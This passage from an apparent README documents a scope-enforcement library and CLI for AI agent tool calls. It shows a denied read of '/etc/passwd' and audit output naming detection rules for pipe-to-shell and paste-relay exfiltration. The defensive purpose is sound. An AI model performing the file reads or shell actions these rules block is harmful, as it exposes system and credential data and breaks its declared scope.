governed = tool.WithToolGovern(new GovernToolOptions { Scope = new ScopeDeclaration { Network = NetworkScope.False, Filesystem = ["/workspace"] }, AgentId = "research-agent", }); // Outside the declared scope -- ToolGovernDenialError, ReadFile() never runs. await governed.InvokeAsync(new AIFunctionArguments { ["path"] = "/etc/passwd" }); ``` See [`dotnet/ToolGovern.AgentFramework/src/ToolGovern.AgentFramework/README.md`](dotnet/ToolGovern.AgentFramework/src/ToolGovern.AgentFramework/README.md) for the full writeup, including an honest PARTIAL verdict against [agent-framework#2254](https://github.com/microsoft/agent-framework/issues/2254) (this package is a real, usable answer to the DX gap reported there, but doesn't itself land a first-class framework API -- the maintainer said as much in the thread) and root-caused FAIL -- N/A verdicts on five other .NET-tagged issues that live in layers of `Microsoft.Agents.AI` this kind of tool-definition-boundary wrapper has no reach into. ## CLI ```bash npx toolgovern-cli validate ./toolgovern.policy.yml npx toolgovern-cli audit ./toolgovern-trace.jsonl --since 24h --decision deny npx toolgovern-cli audit ./toolgovern-trace.jsonl --verify-chain npx toolgovern-cli init langgraph ``` ![toolgovern-cli scaffolding a LangGraph integration file with init, then auditing the trace log with --json to print a single structured object an agent can parse programmatically](./docs/usage.gif) Real output from this repo's own example policy and the trace file generated above: ``` $ toolgovern-cli validate ./toolgovern.policy.example.yml OK ./toolgovern.policy.example.yml is a valid toolgovern policy. $ toolgovern-cli audit ./toolgovern-trace.jsonl --decision deny DENY research-sub -> bash [TG01-pipe-to-shell, TG03-network-disabled, TG03-known-paste-relay, TG03-dns-resolves-private] 2026-08-04T06:15:37.265Z 1 of 2 trace entries matched. $ toolgovern-cli init langgraph Scaffolded langgraph integration at toolgovern.langgraph.ts. Fill in your real tool(s) and confirm the policy path (./toolgovern.policy.yml) before running. ``` `validate` checks a policy file's structure and rule references before it loads at runtime. `audit` reads the local trace and filters by time window, decision, agent identity, or fired rule ID. `--verify-chain` recomputes every entry's signature and confirms `prior_trace_id` links are intact. `init [oma|langgraph]` scaffolds a working integration file wiring toolgovern into the named (or auto-detected) framework, writing it to the current directory unless `--out` says otherwise; `--force` overwrites an existing scaffold file. See `docs/trace-format.md` and `docs/security-model.md` for exactly what that does and doesn't prove, including the optional `--key-file` flag for HMAC-keyed traces. ### Command reference | Command | Flags | Exit codes | | ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------- | | `validate ` | `--json` | `0` valid, `1` invalid/unreadable, `2` missing arg | | `audit ` | `--since `, `--decision `, `--agent `, `--rule `, `--verify-chain`, `--key-file `, `--json` | `0` success, `1` chain/read failure, `2` bad flag/arg | | `init [oma\|langgraph]` | `--policy `, `--out `, `--force`, `--json` | `0` scaffolded, `1` write/detect failure, `2` bad arg | Exit codes are structured on purpose: `0` only ever means the command did what it says, `1` is a runtime failure (bad file, failed chain, write error), `2` is a usage error (missing/invalid argument). Every non-zero exit prints its error to stderr in text mode, or as `error.message` in `--json` mode, so a caller always has something concrete to act on. ### `--json` -- agent-parseable output Every command above also takes `--json`, which prints one JSON object to stdout (nothing to stderr, in success or failure) instead of the formatted text shown above: ``` $ toolgovern-cli audit ./toolgovern-trace.jsonl --decision deny --json { "ok": true, "command": "audit", "data": { "file": "./toolgovern-trace.jsonl", "query": { "decision": "deny" }, "matched": 1, "total": 2, "entries": [ { "trace_id": "tg_2026-08-04_a7ad0a", "decision": "deny", "rule_fired": ["TG01-pipe-to-shell", "TG03-network-disabled", "TG03-known-paste-relay", "TG03-dns-resolves-private"] } ] } } ```

toolgovern

Installation